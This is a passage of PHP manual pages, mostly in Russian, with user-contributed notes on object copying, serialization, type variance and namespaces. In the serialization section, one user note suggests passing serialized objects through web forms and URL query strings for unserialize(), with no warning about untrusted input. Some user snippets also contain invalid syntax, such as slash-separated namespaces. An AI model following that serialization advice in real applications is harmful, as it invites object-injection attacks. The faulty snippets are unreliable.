 DataModelControl [name=dmc2, data=256]
 DataModelControl [name=dmc3, data=256]

 DataModelControl [name=dmc1, data=1024]
 DataModelControl [name=dmc2, data=1024]
 DataModelControl [name=dmc3, data=1024]

... even better! Now, PHP creates one copy of $data, that is shared amongst all DataModelControl objects.
wbcarts at juno dot com 30-Sep-2008 01:23
A BIT DILUTED... but it's alright!

In the PHP example above, the function foo($obj), will actually create a $foo property to "any object" passed to it - which brings some confusion to me:
  $obj = new stdClass();
  foo($obj);    // tags on a $foo property to the object
                // why is this method here?
Furthermore, in OOP, it is not a good idea for "global functions" to operate on an object's properties... and it is not a good idea for your class objects to let them. To illustrate the point, the example should be:

<?php

class A {
  protected $foo = 1;

  public function getFoo() {
    return $this->foo;
  }

  public function setFoo($val) {
    if($val > 0 && $val < 10) {
      $this->foo = $val;
    }
  }

  public function __toString() {
    return "A [foo=$this->foo]";
  }
}

$a = new A();
$b = $a;                        // $a and $b are copies of the same identifier
                                // ($a) = ($b) = <id>
$b->setFoo(2);
echo $a->getFoo() . '<br>';

$c = new A();
$d = &$c;                       // $c and $d are references
                                // ($c,$d) = <id>
$d->setFoo(2);
echo $c . '<br>';

$e = new A();
$e->setFoo(16);                 // will be ignored
echo $e;

?>
 - - -
 2
 A [foo=2]
 A [foo=1]
 - - -
Because the global function foo() has been deleted, class A is more defined, robust and will handle all foo operations... and only for objects of type A. I can now take it for granted and see clearly that your are talking about "A" objects and their references. But it still reminds me too much of cloning and object comparisons, which to me borders on machine-like programming and not object-oriented programming, which is a totally different way to think.


Сериализация объектов

Сериализация объектов - сохранение объектов между сессиями

Функция serialize() возвращает строковое представление любого значения, которое может быть сохранено в PHP. Функция unserialize() может использовать эту строку для восстановления исходного значения переменной. Использование сериализации для сохранения объекта сохранит все его переменные. Методы в объекте не будут сохранены, только имя класса.

Для того, чтобы иметь возможность выполнить unserialize() для объекта, нужно, чтобы класс этого объекта был определён заранее. То есть, если у вас есть экземпляр класса А, и вы сделаете его сериализацию, вы получите его строковое представление, которое содержит значение всех переменных, содержащихся в нем. Для того, чтобы восстановить объект из строки в другом PHP-файле, класс A должен быть определён заранее. Это можно сделать, например, путём сохранения определения класса A в отдельный файл и подключить этот файл или использовать функцию spl_autoload_register() для автоматического подключения.

<?php
// classa.inc:

class A {
public $one = 1;

public function show_one() {
echo $this->one;
}
}

// page1.php:

include("classa.inc");

$a = new A;
$s = serialize($a);
// сохраняем $s где-нибудь, откуда page2.php сможет его получить.
file_put_contents('store', $s);

// page2.php:

// это нужно для того, чтобы функция unserialize работала правильно.
include("classa.inc");

$s = file_get_contents('store');
$a = unserialize($s);

// теперь можно использовать метод show_one() объекта $a.
$a->show_one();
?>

Если в приложении производится сериализация объектов для последующего использования, настоятельно рекомендуется подключать определение класса для этого объекта во всем приложении. Невыполнение этого требования может привести к тому, что объект будет десериализован без определения класса, что приведёт к тому, что PHP будет использовать для этого объекта класс __PHP_Incomplete_Class_Name, который не имеет методов и сделает объект бесполезным.

Поэтому, если в приведённом выше примере $a стала частью сессии путём добавления нового ключа в суперглобальный массив $_SESSION, вы должны подключать файл classa.inc на всех ваших страницах, а не только page1.php и page2.php.

Обратите внимание, что, кроме вышеприведённого совета, также можно подключиться к событиям сериализации и десериализации объекта с помощью методов __sleep() и __wakeup(). Метод __sleep() также позволяет сериализовать лишь некоторое подмножество свойств объекта.

User Contributed Notes

Yahia Fouda 16-Nov-2022 05:46
This trick can be useful when you need to pass object data as strings of text between scripts and applications. Common situations include:

* Passing objects via fields in web forms
* Passing objects in URL query strings
* Storing object data in a text file, or in a single database field

and Sometimes it's useful to do some cleaning up before serializing an object. For example, you might want to write unsaved object data to a database and close the database connection. Similarly, after you've unserialized an object, you might want to restore its database connection and perform other setup tasks so that the new object can be used properly.
Anonymous 09-Dec-2020 06:58
Until such time as these documents are updated, note that `session_register()` is not needed to automatically serialize & unserialize objects in sessions. Any objects in `$_SESSION` are serialized when the session is closed (via `session_write_close()` or upon script exit) & unserialized when opened (via `session_start()`). The note about including classes throughout an app (either by including the definition globally or autoloading it) still holds.
michael at smith-li dot com 23-Feb-2015 07:28
Reading this page you'd be left with the impression that a class's `serialize` and `unserialize` methods are unrelated to the `serialize` and `unserialize` core functions; that only `__sleep` and `__unsleep` allow you to customize an object's serialization interface. But look at http://php.net/manual/en/class.serializable.php and you'll see that there is a more straightforward way to control how a user-defined object is serialized and unserialized.
php at lanar dot com dot au 18-Oct-2009 04:47
Note that static members of an object are not serialized.


Ковариантность и контравариантность

В PHP 7.2.0 была добавлена частичная контравариантность путём устранения ограничений типа для параметров в дочернем методе. Начиная с PHP 7.4.0, добавлена полная поддержка ковариантности и контравариантности.

Ковариантность позволяет дочернему методу возвращать более конкретный тип, чем тип возвращаемого значения его родительского метода. В то время как контравариантность позволяет типу параметра в дочернем методе быть менее специфичным, чем в родительском.

Объявление типа считается более конкретным в следующем случае:

  • Удалено объединение типов
  • Добавлено пересечение типов
  • Тип класса изменяется на тип дочернего класса
  • iterable изменён на массив (array) или Traversable
В противном случае класс типа считается менее конкретным.

Ковариантность

Чтобы проиллюстрировать, как работает ковариантность, создадим простой абстрактный родительский класс Animal. Animal будет расширен за счёт дочерних классов Cat и Dog.

<?php

abstract class Animal
{
protected string $name;

public function __construct(string $name)
{
$this->name = $name;
}

abstract public function speak();
}

class Dog extends Animal
{
public function speak()
{
echo $this->name . " лает";
}
}

class Cat extends Animal
{
public function speak()
{
echo $this->name . " мяукает";
}
}

Обратите внимание, что в примере нет методов, которые возвращают значения. Будет добавлено несколько фабрик, которые возвращают новый объект типа класса Animal, Cat или Dog.

<?php

interface AnimalShelter
{
public function adopt(string $name): Animal;
}

class CatShelter implements AnimalShelter
{
public function adopt(string $name): Cat // Возвращаем класс Cat вместо Animal
{
return new Cat($name);
}
}

class DogShelter implements AnimalShelter
{
public function adopt(string $name): Dog // Возвращаем класс Dog вместо Animal
{
return new Dog($name);
}
}

$kitty = (new CatShelter)->adopt("Рыжик");
$kitty->speak();
echo "\n";

$doggy = (new DogShelter)->adopt("Бобик");
$doggy->speak();

Результат выполнения данного примера:

Рыжик мяукает
Бобик лает

Контравариантность

В продолжение предыдущего примера, где мы использовали классы Animal, Cat и Dog, мы введём новые классы Food и AnimalFood и добавим в абстрактный класс Animal новый метод eat(AnimalFood $food).

<?php

class Food {}

class AnimalFood extends Food {}

abstract class Animal
{
protected string $name;

public function __construct(string $name)
{
$this->name = $name;
}

public function eat(AnimalFood $food)
{
echo $this->name . " ест " . get_class($food);
}
}

Чтобы увидеть суть контравариантности, мы переопределим метод eat класса Dog таким образом, чтобы он мог принимать любой объект класса Food. Класс Cat оставим без изменений.

<?php

class Dog extends Animal
{
public function eat(Food $food) {
echo $this->name . " ест " . get_class($food);
}
}

Следующий пример покажет поведение контравариантности.

<?php

$kitty = (new CatShelter)->adopt("Рыжик");
$catFood = new AnimalFood();
$kitty->eat($catFood);
echo "\n";

$doggy = (new DogShelter)->adopt("Бобик");
$banana = new Food();
$doggy->eat($banana);

Результат выполнения данного примера:

Рыжик ест AnimalFood
Бобик ест Food

Но что случится, если $kitty попробует съесть (eat()) банан ($banana)?

$kitty->eat($banana);

Результат выполнения данного примера:

Fatal error: Uncaught TypeError: Argument 1 passed to Animal::eat() must be an instance of AnimalFood, instance of Food given

User Contributed Notes

Hayley Watson 26-Oct-2022 12:48
The gist of how the Liskov Substition Princple applies to class types is, basically: "If an object is an instance of something, it should be possible to use it wherever an instance of something is allowed". The Co- and Contravariance rules come from this expectation when you remember that "something" could be a parent class of the object.

For the Cat/Animal example of the text, Cats are Animals, so it should be possible for Cats to go anywhere Animals can go. The variance rules formalise this.

Covariance: A subclass can override a method in the parent class with one that has a narrower return type. (Return values can be more specific in more specific subclasses; they "vary in the same direction", hence "covariant").
If an object has a method you expect to produce Animals, you should be able to replace it with an object where that method produces only Cats. You'll only get Cats from it but Cats are Animals, which are what you expected from the object.

Contravariance: A subclass can override a method in the parent class with one that has a parameter with a wider type. (Parameters can be less specific in more specific subclasses; they "vary in the opposite direction", hence "contravariant").
If an object has a method you expect to take Cats, you should be able to replace it with an object where that method takes any sort of Animal. You'll only be giving it Cats but Cats are Animals, which are what the object expected from you.

So, if your code is working with an object of a certain class, and it's given an instance of a subclass to work with, it shouldn't cause any trouble:
It might accept any sort of Animal where you're only giving it Cats, or it might only return Cats when you're happy to receive any sort of Animal, but LSP says "so what? Cats are Animals so you should both be satisfied."
hrustbb2 at gmail dot com 11-May-2022 04:05
Почему это не работает с интерфейсами? Почему я не могу в дочернем методе ограничить тип возвращаемого значения более конкретным интерфейсом?
jotaelesalinas at example dot com 21-Apr-2022 03:55
Bear in mind that, although the PHP syntax does not allow stricter method parameter types, you can achieve it programmatically:

<?php
class AnimalFood { ... }
class CatFood extends AnimalFood { ... }

class Animal
{
    public function eat(AnimalFood $food) {
        echo $this->name . " eats " . get_class($food);
    }
}

class Cat extends Animal
{
    public function eat(AnimalFood $food) {
        if (!$food instanceof CatFood) {
           throw new \InvalidArgumentException(...);
        }
        parent::eat($food);
    }
}
?>
maxim dot kainov at gmail dot com 04-Apr-2021 05:57
This example will not work:

<?php

class CatFood extends AnimalFood { }

class Cat extends Animal
{
    public function eat(CatFood $food) {
        echo $this->name . " eats " . get_class($food);
    }
}

?>

The reason is:

<?php
    class DogFood extends AnimalFood { }

    function feedAnimal(Animal $animal, AnimalFood $food) {
        $animal->eat($food);
    }

    $cat = new Cat();
    $dogFood = new DogFood();

    feedAnimal($cat, $dogFood);
?>

But you can do it with traits, like this:

<?php

trait AnimalTrait
{
    public function eat(AnimalFood $food)
    {
        echo $this->name . " ест " . get_class($food);
    }
}

class Cat
{
    use AnimalTrait;

    public function eat(CatFood $food) {
        echo $this->name . " eats " . get_class($food);
    }
}

?>
phpnet-at-kennel17-dotco-dotuk 20-Jan-2021 05:51
Following the examples above, you might assume the following would be possible.

<?php

class CatFood extends AnimalFood { ... }

class Cat extends Animal
{
    public function eat(CatFood $food) {
        echo $this->name . " eats " . get_class($food);
    }
}

?>

However, the Liskov Substitution Prinicpal, and therefore PHP, forbids this.  There's no way for cats to eat cat food, if animals are defined as eating animal food.

There are a large number of legitimate abstractions that are forbidden by PHP, due to this restriction.
Anonymous 12-Feb-2020 08:47
Covariance also works with general type-hinting, note also the interface:

interface xInterface
{
    public function y() : object;
}

abstract class x implements xInterface
{
    abstract public function y() : object;
}

class a extends x
{
    public function y() : \DateTime
    {
        return new \DateTime("now");
    }
}

$a = new a;
echo '<pre>';
var_dump($a->y());
echo '</pre>';
xedin dot unknown at gmail dot com 13-Jan-2020 04:20
I would like to explain why covariance and contravariance are important, and why they apply to return types and parameter types respectively, and not the other way around.

Covariance is probably easiest to understand, and is directly related to the Liskov Substitution Principle. Using the above example, let's say that we receive an `AnimalShelter` object, and then we want to use it by invoking its `adopt()` method. We know that it returns an `Animal` object, and no matter what exactly that object is, i.e. whether it is a `Cat` or a `Dog`, we can treat them the same. Therefore, it is OK to specialize the return type: we know at least the common interface of any thing that can be returned, and we can treat all of those values in the same way.

Contravariance is slightly more complicated. It is related very much to the practicality of increasing the flexibility of a method. Using the above example again, perhaps the "base" method `eat()` accepts a specific type of food; however, a _particular_ animal may want to support a _wider range_ of food types. Maybe it, like in the above example, adds functionality to the original method that allows it to consume _any_ kind of food, not just that meant for animals. The "base" method in `Animal` already implements the functionality allowing it to consume food specialized for animals. The overriding method in the `Dog` class can check if the parameter is of type `AnimalFood`, and simply invoke `parent::eat($food)`. If the parameter is _not_ of the specialized type, it can perform additional or even completely different processing of that parameter - without breaking the original signature, because it _still_ handles the specialized type, but also more. That's why it is also related closely to the Liskov Substitution: consumers may still pass a specialized food type to the `Animal` without knowing exactly whether it is a `Cat` or `Dog`.


Журнал изменений ООП

Здесь перечислены изменения модели ООП в PHP. Описания и другие примечания этих возможностей можно найти в документации ООП PHP.

Версия | Описание
8.1.0 | Добавлено: Поддержка модификатора final для констант класса. Кроме того, константы интерфейса по умолчанию становятся переопределяемыми.
8.0.0 | Добавлено: Поддержка оператора Nullsafe ?-> для доступа к свойствам и методам объектов, которые могут быть равны null.
7.4.0 | Изменено: Теперь можно выбрасывать исключение в функции __toString().
7.4.0 | Добавлено: поддержка ограниченной ковариантности типов возвращаемого значения и типов аргументов. Поддержка полной вариативности производится только если используется автозагрузка. Внутри одного файла возможны только нециклические ссылки на типы.
7.4.0 | Добавлено: Теперь можно задавать тип для свойств класса.
7.3.0 | Несовместимость: распаковка аргументов для Traversable с нецелочисленными ключами больше не поддерживается. Такое поведение изначально не планировалось и теперь удалено.
7.3.0 | Несовместимость: в прошлых версиях можно было разделить статические свойства при помощи присваивания по ссылке. Теперь нельзя.
7.3.0 | Изменено: теперь оператор instanceof допускает литералы в качестве первого операнда. В этом случае всегда будет возвращено false.
7.2.0 | Устарело: метод __autoload() объявлен устаревшим в пользу spl_autoload_register().
7.2.0 | Изменено: для имён классов, интерфейсов и трейтов нельзя использовать слово object.
7.2.0 | Изменено: для группового use теперь можно добавлять висящую запятую в конце списка.
7.2.0 | Изменено: Типы параметров из переопределённых методов и реализации интерфейсов теперь указывать не обязательно
7.2.0 | Изменено: если один абстрактный класс наследует от другого абстрактного класса, то он может переопределять его абстрактные методы.
7.1.0 | Изменено: для имён классов, интерфейсов и трейтов нельзя использовать слова: void и iterable.
7.1.0 | Добавлено: теперь можно задавать область видимости для констант классов.
7.0.0 | Устарело: Статический вызов нестатических методов.
7.0.0 | Устарело: конструктор в стиле PHP 4. Т.е. метод с именем идентичным имени класса, в котором он объявлен.
7.0.0 | Добавлено: групповая декларация use: классы, функции и константы, которые надо импортировать из одного и того же пространства имён теперь могут быть сгруппированы в одном выражении use.
7.0.0 | Добавлено: добавлена поддержка анонимных классов с помощью new class.
7.0.0 | Несовместимость: итерирование объектов не реализующих Traversable теперь ведёт себя аналогично итерированию массива по ссылке.
7.0.0 | Изменено: Определение одинаковых (полностью совпадающих) свойств в двух трейтах больше не вызывает ошибку.
5.6.0 | Добавлено: метод __debugInfo().
5.5.0 | Добавлено: магическая константа ::class.
5.5.0 | Добавлено: finally в обработчик исключений.
5.4.0 | Добавлено: трейты.
5.4.0 | Изменено: Если абстрактный класс определяет сигнатуру для конструктора, то она будет принудительно применяться.
5.3.3 | Изменено: Методы с тем же именем, что и последний элемент пространства имён класса больше не будут рассматриваться как конструктор. Это изменение не влияет классы, не использующие пространства имён.
5.3.0 | Изменено: Больше не требуется, чтобы классы, реализующие интерфейсы с методами, которые имеют значения по умолчанию в прототипе, соответствовали значениям по умолчанию в интерфейсе.
5.3.0 | Изменено: Теперь стало возможным ссылаться на класс, используя переменную (например, echo $classname::constant;). Значение переменной не может быть ключевым словом (например, self, parent или static).
5.3.0 | Изменено: Ошибка E_WARNING происходит, если магические перегруженные методы объявлены как статические. Это также усиливает требование, что эти методы должны быть общедоступными.
5.3.0 | Изменено: До 5.3.0, исключения в функции __autoload() не могли быть перехвачены в блоке catch и приводили к фатальной ошибке. Сейчас исключения в функции __autoload могут быть перехвачены в блоке catch, но с одной оговоркой. Если перехватывается пользовательское исключение, то класс, обрабатывающий это исключение, должен быть доступен. Функция __autoload может быть использована рекурсивно для автозагрузки пользовательского класса обработки исключения.
5.3.0 | Добавлено: Метод __callStatic.
5.3.0 | Добавлено: Поддержка heredoc и nowdoc для констант и определений свойств класса. Примечание: Значение heredoc должны следовать тем же правилам, что и строки в двойных кавычках (например, без переменных внутри).
5.3.0 | Добавлено: Позднее статическое связывание.
5.3.0 | Добавлено: метод __invoke().
5.2.0 | Изменено: Метод __toString() вызывался только, когда он напрямую объединён с echo или print. Сейчас он вызывается в любом контексте строки (например, в printf() с модификатором %s), но не в других типах контекста (например, с модификатором %d). С PHP 5.2.0, преобразование объектов без метода __toString в строку выдаёт ошибку уровня E_RECOVERABLE_ERROR.
5.1.3 | Изменено: В предыдущих версиях PHP 5 использование var считалось устаревшим и выдавало ошибку E_STRICT. Сейчас это не считается устаревшим, поэтому ошибка больше не выдаётся.
5.1.0 | Изменено: Статический метод __set_state() теперь вызывается для классов, экспортируемых функцией var_export().
5.1.0 | Добавлены: методы __isset() и __unset().

User Contributed Notes

There are no user contributed notes for this page.


Пространства имён

Содержание

  • Обзор пространств имён
  • Определение пространств имён
  • Определение подпространств имён
  • Описание нескольких пространств имён в одном файле
  • Использование пространства имён: основы
  • Пространства имён и динамические особенности языка
  • Ключевое слово namespace и константа __NAMESPACE__
  • Использование пространств имён: импорт/создание псевдонима имени
  • Глобальное пространство
  • Использование пространств имён: переход к глобальной функции/константе
  • Правила разрешения имён
  • Часто задаваемые вопросы (FAQ): вещи, которые вам необходимо знать о пространствах имён

User Contributed Notes

Anonymous 10-May-2016 08:15
Tested on PHP 7.0.5, Windows
The line "use animate;" equals the line "use animate as animate;"
but the "use other\animate;" equals "use other\animate as animate;"

file1:
<?php namespace foo;
  class Cat {
    static function says() {echo 'meoow';}  } ?>

file2:
<?php namespace bar;
  class Dog {
    static function says() {echo 'ruff';}  } ?>

file3:
<?php namespace other\animate;
  class Animal {
    static function breathes() {echo 'air';}  } ?>

file4:
<?php namespace fub;
  include 'file1.php';
  include 'file2.php';
  include 'file3.php';
  use foo as feline;
  use bar as canine;
  use other\animate;       //use other\animate as animate;
  echo feline\Cat::says(), "<br />\n";
  echo canine\Dog::says(), "<br />\n";
  echo \animate\Animal::breathes(), "<br />\n";  ?>
varuninorbit at yahoo dot co dot in 27-Dec-2015 06:43
here is a simple example to use namespace

<?php

namespace app\a{
    class one{
       public static function _1(){
        echo 'a one _1<br>';
       }
    }
}

namespace app\b{
    class one{
        public static function _2(){
            echo 'b one _2<br>';
        }
    }
}

namespace app{

    echo a\one::_1();
    echo b\one::_2();
    echo a\two::_1();
}

namespace app\a{
    class two{
       public static function _1(){
        echo 'a two _1<br>';
       }
    }
}

prints
a one _1
b one _2
a two _1
davidkennedy85 at gmail dot com 26-Mar-2015 05:04
In addition to using namespaces and closures, the use keyword has another new meaning as of PHP 5.4 - using traits:

<?php
trait Hello {
    public function sayHello() {
        echo 'Hello ';
    }
}

trait World {
    public function sayWorld() {
        echo 'World';
    }
}

class MyHelloWorld {
    use Hello, World;
    public function sayExclamationMark() {
        echo '!';
    }
}

$o = new MyHelloWorld();
$o->sayHello();
$o->sayWorld();
$o->sayExclamationMark();
?>

More info here: http://php.net/manual/en/language.oop5.traits.php
Anonymous 25-May-2011 11:06
The keyword 'use' has two different applications, but the reserved word table links to here.

It can apply to namespace constucts:

file1:
<?php namespace foo;
  class Cat {
    static function says() {echo 'meoow';}  } ?>

file2:
<?php namespace bar;
  class Dog {
    static function says() {echo 'ruff';}  } ?>

file3:
<?php namespace animate;
  class Animal {
    static function breathes() {echo 'air';}  } ?>

file4:
<?php namespace fub;
  include 'file1.php';
  include 'file2.php';
  include 'file3.php';
  use foo as feline;
  use bar as canine;
  use animate;
  echo \feline\Cat::says(), "<br />\n";
  echo \canine\Dog::says(), "<br />\n";
  echo \animate\Animal::breathes(), "<br />\n";  ?>

Note that
felineCat::says()
should be
\feline\Cat::says()
(and similar for the others)
but this comment form deletes the backslash (why???)

The 'use' keyword also applies to closure constructs:

<?php function getTotal($products_costs, $tax)
    {
        $total = 0.00;

        $callback =
            function ($pricePerItem) use ($tax, &$total)
            {

                $total += $pricePerItem * ($tax + 1.0);
            };

        array_walk($products_costs, $callback);
        return round($total, 2);
    }
?>


Обзор пространств имён

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

Что такое пространства имён? В широком смысле - это один из способов инкапсуляции элементов. Такое абстрактное понятие можно увидеть во многих местах. Например, в любой операционной системе директории служат для группировки связанных файлов и выступают в качестве пространства имён для находящихся в них файлов. В качестве конкретного примера файл foo.txt может находиться сразу в обеих директориях: /home/greg и /home/other, но две копии foo.txt не могут существовать в одной директории. Кроме того, для доступа к foo.txt извне директории /home/greg, мы должны добавить имя директории перед именем файла используя разделитель, чтобы получить /home/greg/foo.txt. Этот же принцип распространяется и на пространства имён в программировании.

В PHP пространства имён используются для решения двух проблем, с которыми сталкиваются авторы библиотек и приложений при создании повторно используемых элементов кода, таких как классы и функции:

  1. Конфликт имён между вашим кодом и внутренними классами/функциями/константами PHP или сторонними.
  2. Возможность создавать псевдонимы (или сокращения) для Ну_Очень_Длинных_Имён, чтобы облегчить первую проблему и улучшить читаемость исходного кода.

Пространства имён в PHP предоставляют возможность группировать логически связанные классы, интерфейсы, функции и константы.

Пример #1 Пример синтаксиса, использующего пространство имён

<?php
namespace my\name; // смотрите раздел "Определение пространств имён"
class MyClass {}
function myfunction() {}
const MYCONST = 1;

$a = new MyClass;
$c = new \my\name\MyClass; // смотрите раздел "Глобальная область видимости"

$a = strlen('hi'); // смотрите раздел "Использование пространств имён: возврат
// к глобальной функции/константе"

$d = namespace\MYCONST; // смотрите раздел "оператор пространства имён и
// константа __NAMESPACE__"
$d = __NAMESPACE__ . '\MYCONST';
echo constant($d); // смотрите раздел "Пространства имён и динамические особенности языка"
?>

Замечание: Имена пространств имён регистронезависимы.

Замечание:

Пространства имён PHP или составные имена, начинающиеся с этого слова (например, такие как PHP\Classes), зарезервированы для нужд языка, их не следует использовать в пользовательском коде.

User Contributed Notes

asma.mechtaba 20-Jan-2022 05:11
we can also use namespaces to groupe traits
shewa12kpi at gmail dot com 12-May-2021 04:39
<?php
//Here is the simple use case of namespace. See how we can use same named class with the help of namespace. This is how namespace resolve naming collision.

namespace Mobile;

class User
{

    public $name = 'mobile user';
}

$user = new \Mobile\User;
echo $user->name;

namespace TV ;

class User
{
    public static $name = 'tv user';
}

echo \TV\User::$name;
Anonymous 27-Jan-2021 04:19
php reserve keywords are not allowed as a namespace name.But namespace name "php" can be allowed.

Here are some example:

namespace php;//works
namespace class;//Parse error: syntax error, unexpected 'class'
namespace const;//Parse error: syntax error, unexpected 'const'
namespace constant;//works
namespace interface;//Parse error: syntax error, unexpected 'interface'
namespace function;//Parse error: syntax error, unexpected 'function'
TonyMarston at tonymarston dot net 20-Jan-2021 08:43
I should point out that namespaces were implemented in PHP to resolve name clashes in userland code. It was never the intention to eventually change the entire language to use namespaces instead of prefixes (ie: change mysqli_connect() to mysqli/connect()) as this would be a huge BC break.

I should also point out that the PSR standards created by the FIG group are *NOT* the official standards for PHP. While there are coding standards for contributing to PHP core, or for creating extensions, there are none for userland developers who are free to adopt whatever standards they choose.
pierstoval at gmail dot com 05-Dec-2014 10:00
To people coming here by searching about namespaces, know that a consortium has studied about best practices in PHP, in order to allow developers to have common coding standards.

These best practices are called "PHP Standard Recommendations" , also known as PSR.

They are visible on this link : http://www.php-fig.org/psr

Actually there are 5 coding standards categories :
PSR-0 : Autoloading Standard , which goal is to make the use of Namespaces easier, in order to convert a namespace into a file path.
PSR-1 : Basic Coding Standard , basically, standards :)
PSR-2 : Coding Style Guide, where to put braces, how to write a class, etc.
PSR-3 : Logger Interface , how to write a standard logger
PSR-4 : Improved Autoloading , to resolve more Namespaces into paths.

The ones I want to point are PSR-0 and PSR-4 : they use namespaces to resolve a FQCN (Fully qualified class name = full namespace + class name) into a file path.
Basic example, you have this directory structure :
./src/Pierstoval/Tools/MyTool.php

The namespacing PSR-0 or PSR-4 standard tells that you can transform this path into a FQCN.
Read the principles of autoload if you need to know what it means, because it's almost mandatory ;) .

Structure :
{path}/autoloader.php
{path}/index.php
{path}/src/Pierstoval/Tools/MyTool.php

Files :

<?php
    // {path}/index.php
    include 'autoloader.php';
    $tool = new Pierstoval/Tools/MyTool();
?>

<?php
    // {path}/src/Pierstoval/Tools/MyTool.php
    namespace Pierstoval\Tools;
    class MyTool {}
?>

<?php
    // {path}/autoloader.php
    function loadClass($className) {
        $fileName = '';
        $namespace = '';

        // Sets the include path as the "src" directory
        $includePath = dirname(__FILE__).DIRECTORY_SEPARATOR.'src';

        if (false !== ($lastNsPos = strripos($className, '\\'))) {
            $namespace = substr($className, 0, $lastNsPos);
            $className = substr($className, $lastNsPos + 1);
            $fileName = str_replace('\\', DIRECTORY_SEPARATOR, $namespace) . DIRECTORY_SEPARATOR;
        }
        $fileName .= str_replace('_', DIRECTORY_SEPARATOR, $className) . '.php';
        $fullFileName = $includePath . DIRECTORY_SEPARATOR . $fileName;

        if (file_exists($fullFileName)) {
            require $fullFileName;
        } else {
            echo 'Class "'.$className.'" does not exist.';
        }
    }
    spl_autoload_register('loadClass'); // Registers the autoloader
?>
A standardized autoloader will get the class you want to instanciate (MyTool) and get the FQCN, transform it into a file path, and check if the file exists. If it does, it will <?php include(); ?> it, and if you wrote your class correctly, the class will be available within its correct namespace.
Then, if you have the following code :
<?php $tool = new Pierstoval/Tools/MyTool(); ?>
The autoloader will transform the FQCN into this path :
{path}/src/Pierstoval/Tools/MyTool.php

This might be the best practices ever in PHP framework developments, such as Symfony or others.
Dmitry Snytkine 31-May-2011 06:54
Just a note: namespace (even nested or sub-namespace) cannot be just a number, it must start with a letter.
For example, lets say you want to use namespace for versioning of your packages or versioning of your API:

namespace Mynamespace\1;  // Illegal
Instead use this:
namespace Mynamespace\v1; // OK
SteveWa 27-Feb-2011 08:45
Thought this might help other newbies like me...

Name collisions means:
you create a function named db_connect, and somebody elses code that you use in your file (i.e. an include) has the same function with the same name.

To get around that problem, you rename your function SteveWa_db_connect  which makes your code longer and harder to read.

Now you can use namespaces to keep your function name separate from anyone else's function name, and you won't have to make extra_long_named functions to get around the name collision problem.

So a namespace is like a pointer to a file path where you can find the source of the function you are working with


Определение пространств имён

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

Хотя любой корректный PHP-код может находиться внутри пространства имён, только классы (включая абстрактные и трейты), интерфейсы, функции и константы зависят от него.

Пространства имён объявляются с помощью зарезервированного слова namespace. Файл, содержащий пространство имён, должен содержать его объявление в начале перед любым другим кодом, кроме зарезервированного слова declare.

Пример #1 Объявление единого пространства имён

<?php
namespace MyProject;

const CONNECT_OK = 1;
class Connection { /* ... */ }
function connect() { /* ... */ }

?>

Замечание: Абсолютные имена (т.е. имена, начинающиеся с обратной косой черты) не допускаются в объявлениях пространства имён, поскольку такие конструкции интерпретируются как относительные выражения пространства имён.

Только выражение declare может находиться перед объявлением пространства имён для указания кодировки файла. Кроме того, объявлению пространства имён не должен предшествовать не PHP-код, в том числе лишние пробелы:

Пример #2 Объявление простого пространства имён

<html>
<?php
namespace MyProject; // fatal error - объявление пространства имён должно быть первым выражением в скрипте
?>

Кроме того, в отличие от любой другой конструкции PHP, одно и то же пространство имён можно определять в нескольких файлах, что позволяет распределять их содержимое по файловой системе.

User Contributed Notes

dino at tuxweb dot it 26-Aug-2022 12:08
Please note that a PHP Namespace declaration cannot start with a number.
It took some time for me to debug...
anisgazig at gmail dot com 21-Jan-2021 05:13
namespace statement  is defined at first of the php files. But
    before namespace declaration only three elements allowed.
      1.declare statement
      2.spaces
      3.comments
anisgazig at gmail dot com 14-Jan-2021 04:03
Namespace name are case-insensitive.
namespace App
and
namespace app
are same meaning.

Besides, Namespace keword are case-insensitive.
Namespace App
namespace App
and
NAMESPACE App
are same meaning.
kuzawinski dot marcin at NOSPAM dot gmail dot com 05-Aug-2014 09:52
If your code looks like this:

<?php
    namespace NS;
?>

...and you still get "Namespace declaration statement has to be the very first statement in the script" Fatal error, then you probably use UTF-8 encoding (which is good) with Byte Order Mark, aka BOM (which is bad). Try to convert your files to "UTF-8 without BOM", and it should be ok.
FatBat 08-Aug-2013 09:46
Expanding on @danbettles note, it is better to always be explicit about which constant to use.

<?php
    namespace NS;

    define(__NAMESPACE__ .'\foo','111');
    define('foo','222');

    echo foo;  // 111.
    echo \foo;  // 222.
    echo \NS\foo  // 111.
    echo NS\foo  // fatal error. assumes \NS\NS\foo.
?>
huskyr at gmail dot com 05-Oct-2009 04:20
"A file containing a namespace must declare the namespace at the top of the file before any other code"

It might be obvious, but this means that you *can* include comments and white spaces before the namespace keyword.

<?php
// Lots
// of
// interesting
// comments and white space

namespace Foo;
class Bar {
}
?>
jeremeamia at gmail dot com 14-Jul-2009 08:43
You should not try to create namespaces that use PHP keywords. These will cause parse errors.

Examples:

<?php
namespace Project/Classes/Function; // Causes parse errors
namespace Project/Abstract/Factory; // Causes parse errors
?>
danbettles at yahoo dot co dot uk 14-Apr-2009 12:02
Regarding constants defined with define() inside namespaces...

define() will define constants exactly as specified.  So, if you want to define a constant in a namespace, you will need to specify the namespace in your call to define(), even if you're calling define() from within a namespace.  The following examples will make it clear.

The following code will define the constant "MESSAGE" in the global namespace (i.e. "\MESSAGE").

<?php
namespace test;
define('MESSAGE', 'Hello world!');
?>

The following code will define two constants in the "test" namespace.

<?php
namespace test;
define('test\HELLO', 'Hello world!');
define(__NAMESPACE__ . '\GOODBYE', 'Goodbye cruel world!');
?>
Baptiste 14-May-2008 12:47
There is nothing wrong with PHP namespaces, except that those 2 instructions give a false impression of package management.
... while they just correspond to the "with()" instruction of Javascript.

By contrast, a package is a namespace for its members, but it offers more (like deployment facilities), and a compiler knows exactly what classes are in a package, and where to find them.
Anonymous 01-Apr-2008 11:11
@ RS: Also, you can specify how your __autoload() function looks for the files. That way another users namespace classes cannot overwrite yours unless they replace your file specifically.


Определение подпространств имён

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

Так же как файлы и каталоги, пространства имён PHP позволяют создавать иерархию имён. Таким образом, имя пространства может быть определено с подуровнями:

Пример #1 Определение пространства имён с иерархией

<?php
namespace MyProject\Sub\Level;

const CONNECT_OK = 1;
class Connection { /* ... */ }
function connect() { /* ... */ }

?>
Вышеприведённый пример создаёт константу MyProject\Sub\Level\CONNECT_OK, класс MyProject\Sub\Level\Connection и функцию MyProject\Sub\Level\connect.

User Contributed Notes

There are no user contributed notes for this page.


Описание нескольких пространств имён в одном файле

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

